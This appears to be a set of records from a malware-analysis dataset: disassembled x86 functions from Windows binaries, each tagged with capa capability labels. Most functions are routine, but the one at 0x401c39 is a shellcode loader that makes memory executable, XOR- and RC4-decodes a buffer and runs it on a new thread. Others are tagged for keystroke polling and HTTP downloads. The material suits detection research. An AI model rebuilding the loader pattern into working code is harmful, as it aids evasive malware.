joyce8/EMBER2024-capa huggingface dataset:
Function at 0x527780
Capabilities:
Check for software breakpoints

Disassembly:
cmp dword [esi + 0x14], 0xcc
je 0x5277a3
mov eax, dword [esi + 0x1a8]
push esi
call dword [eax]
mov dword [esi + 0x8c], 0
mov dword [esi + 0x14], 0xcc
mov ecx, dword [esi + 0x1a8]
mov eax, dword [ecx + 8]
test eax, eax
je 0x5277c9
mov eax, dword [esi]
push esi
mov dword [eax + 0x14], 0x30
call dword [eax]
mov edx, dword [esi + 0x1a8]
mov eax, dword [edx + 8]
test eax, eax
jne 0x5277b0
mov edx, dword [esi + 0x44]
xor eax, eax
test edx, edx
setne al
add eax, 0xcd
mov dword [esi + 0x14], eax
mov eax, 1
ret

Function at 0x527880
Capabilities:
Check for software breakpoints

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x5278b7
push esi
call fcn.00559640
mov eax, dword [esi + 0x40]
test eax, eax
je 0x5278b0
mov dword [esi + 0x14], 0xcf
mov eax, 1
pop esi
pop ebp
ret 4
mov dword [esi + 0x14], 0xcb
mov ecx, dword [esi + 0x14]
cmp ecx, 0xcb
jne 0x527936
mov eax, dword [esi + 0x1b8]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x527920
nop
mov eax, dword [esi + 8]
test eax, eax
je 0x5278da
push esi
call dword [eax]
mov ecx, dword [esi + 0x1b8]
push esi
call dword [ecx]
test eax, eax
je 0x527919
cmp eax, 2
je 0x527920
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x5278d0
cmp eax, 3
je 0x5278fd
cmp eax, 1
jne 0x5278d0
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
cmp eax, dword [ecx + 8]
jl 0x5278d0
mov eax, dword [ecx + 8]
mov edx, dword [esi + 0x144]
add eax, edx
mov dword [ecx + 8], eax
jmp 0x5278d0
xor eax, eax
pop esi
pop ebp
ret 4
mov eax, dword [esi + 0x94]
mov dword [esi + 0x9c], eax
call fcn.00527780
pop esi
pop ebp
ret 4
cmp ecx, 0xcc
je 0x52794d
mov eax, dword [esi]
mov dword [eax + 0x14], 0x14
push esi
mov dword [eax + 0x18], ecx
call dword [eax]
call fcn.00527780
pop esi
pop ebp
ret 4
Function at 0x40195b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x214
mov eax, dword [0x42c040]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x18], cl
push 0x34
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x47b980]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, ebp
jl 0x40197c
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x4019c2
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + ebx + 0x18], dl
cmp esi, ebp
jl 0x40199f
mov ebp, edi
mov dword [esp + 0x14], edi
inc edi
and edi, 0x800000ff
jns 0x4019ea
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x18]
movzx esi, bl
add ebp, esi
and ebp, 0x800000ff
jns 0x401a03
dec ebp
or ebp, 0xffffff00
inc ebp
push 0x79
call fcn.00401d5a
push eax
call fcn.00403109
mov al, byte [esp + ebp + 0x1c]
mov byte [esp + edi + 0x1c], al
mov byte [esp + ebp + 0x1c], bl
movzx eax, byte [esp + edi + 0x1c]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x14]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ecx + 0x42cad0], al
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x4ea00
jl 0x4019d9
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405c73
add esp, 0x214
ret

Function at 0x401c39
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x28
mov eax, dword [0x42c040]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [esp + 0x18]
call fcn.00401e99
push 0xc
call fcn.00405c86
pop ecx
lea ecx, [esp + 0x14]
push ecx
mov ecx, eax
call fcn.00401a5b
mov esi, eax
mov ecx, dword [esi + 4]
shl ecx, 2
push ecx
call fcn.00401d5a
push eax
call fcn.00403109
mov esi, dword [esi + 4]
shl esi, 2
pop ecx
sub esi, 0x40
push esi
call dword [sym.imp.GDI32.dll_GetMapMode]
lea eax, [esp + 0xc]
mov dword [esp + 0xc], esi
push eax
push 0x40
mov edi, 0x4ac
push edi
push 0x47b4d0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [esp + 0x10], esi
xor esi, esi
mov ecx, esi
mov al, byte [ecx + 0x47b4d0]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [ecx + 0x47b4d0], al
inc ecx
cmp ecx, edi
jb 0x401cc2
push ecx
push ecx
call fcn.0040195b
pop ecx
pop ecx
lea eax, [esp + 0x10]
push eax
push esi
push 0x42cad0
push 0x47b658
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
call fcn.004027aa
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00405c73
mov esp, ebp
pop ebp
ret
Function at 0x416730
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004165a1

Function at 0x416b2a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00406a20
mov eax, dword [0x42c040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00413ab4
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x416b6c
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x416cc8
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00421530
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x47c810]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00417b21
mov ecx, dword [esi*4 + 0x47c810]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x416cc1
cmp eax, dword [edi + ecx + 0x24]
jne 0x416cc1
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x416cc1
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00417b21
add esp, 0x14
test edx, edx
jl 0x416cc1
jg 0x416c37
test eax, eax
jb 0x416cc1
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x416cc1
jl 0x416c51
cmp dword [ebp - 0x1008], eax
ja 0x416cc1
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x416c6f
test ebx, ebx
je 0x416ca8
cmp ecx, edi
jae 0x416ca8
mov al, byte [ecx]
cmp al, 0xd
jne 0x416c89
lea eax, [edi - 1]
cmp ecx, eax
jae 0x416c95
cmp byte [ecx + 1], 0xa
jne 0x416c95
inc ecx
jmp 0x416c95
movzx eax, al
movsx eax, byte [eax + 0x42c300]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x416c6f
cmp edx, ebx
jne 0x416c6f
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x416cc6
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00405c73
leave
ret
Function at 0x416fbf
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x47c810]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x416fff
cmp byte [ebx], 0xa
jne 0x416fff
or byte [eax + edi + 0x28], 4
jmp 0x417004
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x417102
mov al, byte [edx]
cmp al, 0x1a
je 0x4170e4
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x417033
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x417058
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x417062
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x417015
jmp 0x417102
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4170df
cmp dword [ebp - 0xc], 0
je 0x4170df
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x47c810]
test byte [eax + edi + 0x28], 0x48
je 0x4170b9
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4170a4
mov byte [esi], dl
jmp 0x4170b5
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x47c810]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x417102
cmp byte [ebp - 1], 0xa
jne 0x4170c8
cmp esi, ebx
jne 0x4170c8
mov byte [esi], 0xa
jmp 0x417101
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00417b3f
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x417102
mov byte [esi], 0xd
jmp 0x417101
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x47c810]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4170fe
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x417102
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41710b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x47c810]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41714e
cmp word [esi], dx
jne 0x41714e
or byte [edi + eax + 0x28], 4
jmp 0x417153
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4172a6
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x417286
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x417195
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4171cb
cmp eax, edx
jae 0x4171d7
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41716d
jmp 0x4172a6
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417282
cmp dword [ebp - 0x14], 0
je 0x417282
mov eax, dword [ebx*4 + 0x47c810]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41725a
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x417223
mov word [esi], cx
jmp 0x417256
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x47c810]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x47c810]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x47c810]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4172a6
pop ebx
cmp word [ebp - 4], bx
jne 0x41726b
cmp esi, dword [ebp + 0xc]
jne 0x41726b
mov word [esi], bx
jmp 0x4172a3
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00417b3f
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4172a6
push 0xd
jmp 0x41729f
mov ecx, dword [ebx*4 + 0x47c810]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41729d
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4172a6
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x408a5d
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebx
mov edx, 7
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x408a63
mov eax, dword [esp + 0x2c]
mov dword [0x46644c], eax
mov edx, dword [esp + 0x24]
lea ecx, [esp]
call fcn.00409000
push 0
xor eax, eax
push eax
xor eax, eax
push eax
push 1
xor eax, eax
push eax
call sub.WININET.dll_InternetOpenW
mov dword [esp + 8], eax
push 4
lea eax, [esp + 0x2c]
push eax
push 2
push dword [esp + 0x14]
call sub.WININET.dll_InternetSetOptionW
push 4
lea eax, [esp + 0x2c]
push eax
push 5
push dword [esp + 0x14]
call sub.WININET.dll_InternetSetOptionW
push 4
lea eax, [esp + 0x2c]
push eax
push 6
push dword [esp + 0x14]
call sub.WININET.dll_InternetSetOptionW
push 4
lea eax, [esp + 0x2c]
push eax
push 7
push dword [esp + 0x14]
call sub.WININET.dll_InternetSetOptionW
push 4
lea eax, [esp + 0x2c]
push eax
push 8
push dword [esp + 0x14]
call sub.WININET.dll_InternetSetOptionW
push 0
push 0x4000000
push dword [esp + 0x18]
call fcn.00414ca0
push eax
push dword [esp + 0x1c]
push dword [esp + 0x10]
push dword [esp + 0x1c]
call sub.WININET.dll_InternetOpenUrlW
mov dword [esp + 0xc], eax
cmp dword [esp + 0xc], 0
je 0x408bce
push 0x800
call fcn.0041eea0
mov dword [esp + 0x18], eax
lea eax, [esp + 4]
push eax
push dword [esp + 0x1c]
call fcn.0041ef40
push eax
push dword [esp + 0x20]
push dword [esp + 0x18]
call sub.WININET.dll_InternetReadFile
and eax, eax
je 0x408bb4
mov edx, dword [esp + 0x14]
push dword [0x46644c]
push edx
call fcn.0041f230
push dword [0x46644c]
push dword [0x46644c]
push 2
push dword [esp + 0x14]
push dword [esp + 0x2c]
call fcn.0041ed20
pop eax
lea eax, [esp + 0x18]
push eax
call fcn.0041f290
mov ebx, dword [esp + 4]
and ebx, ebx
jne 0x408b5b
push dword [esp + 0x18]
call fcn.0041ef60
push dword [esp + 0xc]
call sub.WININET.dll_InternetCloseHandle
push dword [esp + 8]
call sub.WININET.dll_InternetCloseHandle
mov edx, dword [esp + 0x14]
push dword [0x46644c]
push edx
call fcn.0041f230
pop eax
add eax, dword [0x463420]
jmp 0x408c00
push dword [esp]
call fcn.0041f310
push dword [esp + 0x14]
call fcn.0041f310
push dword [esp + 0x10]
call fcn.0041f310
add esp, 0x1c
pop ebx
ret 8
Function at 0x40bbe1
Capabilities:
Enumerate gui resources

Disassembly:
cmp dword [esp + 4], 0
push ebx
push esi
push edi
je 0x40bc36
push dword [esp + 0x10]
push 0x40bb60
call dword [sym.imp.USER32.dll_EnumWindows]
mov esi, dword [0x465950]
test esi, esi
je 0x40bc8f
xor edi, edi
mov ebx, dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [esi + 8], eax
jne 0x40bc2e
cmp byte [esi + 0x10], 0
je 0x40bc2e
push 3
push edi
push edi
push edi
push edi
push 0xfffffffffffffffe
push dword [esi + 0xc]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov esi, ebx
test ebx, ebx
jne 0x40bc0a
jmp 0x40bc8f
mov esi, dword [0x465950]
test esi, esi
je 0x40bc8f
xor edi, edi
push ebp
mov ebx, dword [esi]
lea ebp, [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp], eax
jne 0x40bc88
cmp byte [esi + 0x11], 0
je 0x40bc64
push 1
push dword [esi + 0xc]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp byte [esi + 0x10], 0
je 0x40bc7b
push 3
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
push dword [esi + 0xc]
call dword [sym.imp.USER32.dll_SetWindowPos]
push ebp
push 0x465950
call fcn.0041e8a7
pop ecx
pop ecx
mov esi, ebx
test ebx, ebx
jne 0x40bc43
pop ebp
pop edi
pop esi
pop ebx
ret 4
Function at 0x40d9f9
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push 0x40d944
push 0x10
push 0x2c
call fcn.0041e259
push 0
push 0
push 8
mov dword [0x465974], eax
call fcn.0041e14e
cmp word [0x46596c], 0
mov dword [0x46648c], eax
jne 0x40dade
push edi
lea eax, [esp + 4]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
inc edi
test eax, eax
jne 0x40da51
mov word [0x46596c], di
jmp 0x40da59
xor eax, eax
mov word [0x46596c], ax
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x465988], eax
test eax, eax
je 0x40dadd
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x456120
push eax
call esi
push 0x45612c
push dword [0x465988]
mov dword [0x465978], eax
call esi
push str.getnameinfo
push dword [0x465988]
mov dword [0x46597c], eax
call esi
push str.WSAStringToAddressA
push dword [0x465988]
mov dword [0x465980], eax
call esi
cmp dword [0x465978], 0
mov dword [0x465984], eax
pop esi
je 0x40dadd
cmp dword [0x46597c], 0
je 0x40dadd
cmp dword [0x465980], 0
je 0x40dadd
test eax, eax
je 0x40dadd
mov dword [0x465970], edi
pop edi
add esp, 0x190
ret
Function at 0x40ea5e
Capabilities:
Get graphical window text

Disassembly:
push ebx
push dword [esp + 8]
push dword [0x4664b4]
call fcn.0041e1b0
mov ebx, eax
test ebx, ebx
je 0x40eac2
mov ecx, dword [ebx + 4]
mov eax, dword [ecx + 0x18]
test eax, eax
je 0x40ea87
push dword [esp + 0xc]
push ebx
call eax
jmp 0x40eac2
push esi
push edi
push dword [ebx]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push dword [esp + 0x14]
mov edi, eax
push edi
call fcn.0041f4d0
mov esi, eax
lea ecx, [edi + 1]
push ecx
xor eax, eax
push esi
mov word [esi], ax
push dword [ebx]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push esi
call sub.MSVCRT.dll_wcslen
pop ecx
sub edi, eax
push edi
call fcn.0041f5a0
pop edi
pop esi
pop ebx
ret 8

Function at 0x40ef31
Capabilities:
Check os version

Disassembly:
sub esp, 0x350
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x114
xor ebx, ebx
mov esi, 0xc8
and dword [esp + 0x10], ebx
xor edi, edi
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x40f0a7
mov eax, dword [esp + 0x24]
dec eax
je 0x40f08a
dec eax
jne 0x40f0a7
lea eax, [esp + 0x128]
xor ebp, ebp
push eax
call fcn.0040eeea
pop ecx
test eax, eax
je 0x40efe8
mov ebx, dword [esp + 0x12c]
mov edi, dword [esp + 0x130]
mov eax, dword [esp + 0x134]
cmp byte [esp + 0x242], 1
jne 0x40efab
xor ebp, ebp
inc ebp
sub ebx, 3
je 0x40f086
dec ebx
je 0x40f082
dec ebx
je 0x40f061
dec ebx
je 0x40f01b
sub ebx, 4
jne 0x40f0a7
test edi, edi
jne 0x40f0a7
cmp eax, 0x55f0
sbb esi, esi
and esi, 0xfffffff6
add esi, 0x78
jmp 0x40f0a7
lea eax, [esp + 0x244]
mov dword [esp + 0x244], 0x11c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
mov eax, dword [esp + 0x10]
je 0x40efab
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x1c]
cmp byte [esp + 0x35e], 1
jmp 0x40efa6
sub edi, 0
je 0x40f053
dec edi
je 0x40f045
dec edi
je 0x40f037
dec edi
jne 0x40f0a7
mov esi, ebp
neg esi
sbb esi, esi
and esi, 0xfffffffb
add esi, 0x69
jmp 0x40f0a7
mov esi, ebp
neg esi
sbb esi, esi
and esi, 0xfffffffb
add esi, 0x5f
jmp 0x40f0a7
mov esi, ebp
neg esi
sbb esi, esi
and esi, 0xfffffffb
add esi, 0x55
jmp 0x40f0a7
mov esi, ebp
neg esi
sbb esi, esi
and esi, 0xfffffffb
add esi, 0x4b
jmp 0x40f0a7
sub edi, 0
je 0x40f07e
dec edi
je 0x40f07a
dec edi
jne 0x40f0a7
mov esi, ebp
neg esi
sbb esi, esi
and esi, 0xfffffffb
add esi, 0x41
jmp 0x40f0a7
push 0x3c
jmp 0x40f0a6
push 0x32
jmp 0x40f0a6
push 0x14
jmp 0x40f0a6
push 5
jmp 0x40f0a6
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x40f0a4
cmp eax, 0xa
je 0x40f0a0
cmp eax, 0x5a
jne 0x40f0a7
push 0x28
jmp 0x40f0a6
push 0x1e
jmp 0x40f0a6
push 0xa
pop esi
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x350
ret
Function at 0x41053b
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x28
push ebx
push ebp
push esi
push edi
xor edi, edi
call dword [sym.imp.USER32.dll_GetFocus]
mov ebp, dword [esp + 0x3c]
mov ebx, eax
and dword [esp + 0x10], edi
push str.PB_WindowID
push ebp
call dword [sym.imp.USER32.dll_GetPropW]
mov esi, eax
push 9
pop eax
test esi, esi
je 0x4105d3
lea eax, [esp + 0x14]
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x4105d0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 0x14], eax
jne 0x4105d0
lea eax, [esi - 1]
push eax
push dword [0x4664c0]
call fcn.0041e1b0
mov edi, eax
mov dword [esp + 0x10], 1
xor eax, eax
push 9
cmp dword [edi + 0x10], eax
jle 0x4105d2
mov edx, dword [edi + 4]
xor ecx, ecx
pop esi
cmp word [ecx + edx + 2], si
jne 0x4105c7
mov esi, 0xfa01
push 9
cmp word [ecx + edx + 4], si
je 0x4106ba
pop esi
inc eax
add ecx, 6
cmp eax, dword [edi + 0x10]
jl 0x4105ad
push 9
pop eax
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
test ebx, ebx
je 0x410679
push eax
call esi
test al, al
jns 0x410679
push 0x11
call esi
test al, al
js 0x410679
push 0x10
call esi
test al, al
js 0x410679
push 0x12
call esi
test al, al
js 0x410679
push 0x10
lea eax, [esp + 0x1c]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetClassNameW]
cmp dword [esp + 0x10], 0
jne 0x410679
push 5
lea eax, [esp + 0x1c]
push str.RichE
push eax
call sub.MSVCRT.dll_wcsncmp
add esp, 0xc
test eax, eax
je 0x41064d
push 4
lea eax, [esp + 0x1c]
push str.RICHE
push eax
call sub.MSVCRT.dll_wcsncmp
add esp, 0xc
test eax, eax
jne 0x410664
push 0
push 0
push 0x44e
push ebx
call dword [sym.imp.USER32.dll_SendMessageW]
test eax, 0x800
je 0x4106c4
lea eax, [esp + 0x18]
push str.Scintilla
push eax
call sub.MSVCRT.dll_wcscmp
pop ecx
pop ecx
test eax, eax
je 0x4106c4
test ebp, ebp
je 0x41069d
push 0x11
call esi
test al, al
js 0x410695
push 0x10
call esi
test al, al
js 0x410695
push 0x12
call esi
test al, al
jns 0x41069d
push 1
push ebp
call fcn.004106d0
test ebx, ebx
je 0x4106b1
push str.PB_Hotkey
push ebx
call dword [sym.imp.USER32.dll_GetPropW]
test eax, eax
jne 0x4106c4
test edi, edi
je 0x4106c4
mov eax, dword [edi + 8]
jmp 0x4106c6
and dword [esp + 0x14], 0
jmp 0x4105d2
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret 4

Function at 0x412970
Capabilities:
Write file on windows

Disassembly:
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0xc]
mov eax, dword [edi]
test eax, eax
je 0x4129a2
push 0
lea ecx, [esp + 0x10]
push ecx
push esi
push dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41299d
cmp dword [esp + 0xc], esi
je 0x4129b9
pop edi
xor eax, eax
pop esi
ret
mov eax, dword [edi + 4]
add eax, dword [edi + 8]
push esi
push dword [esp + 0x14]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add dword [edi + 8], esi
pop edi
mov eax, 1
pop esi
ret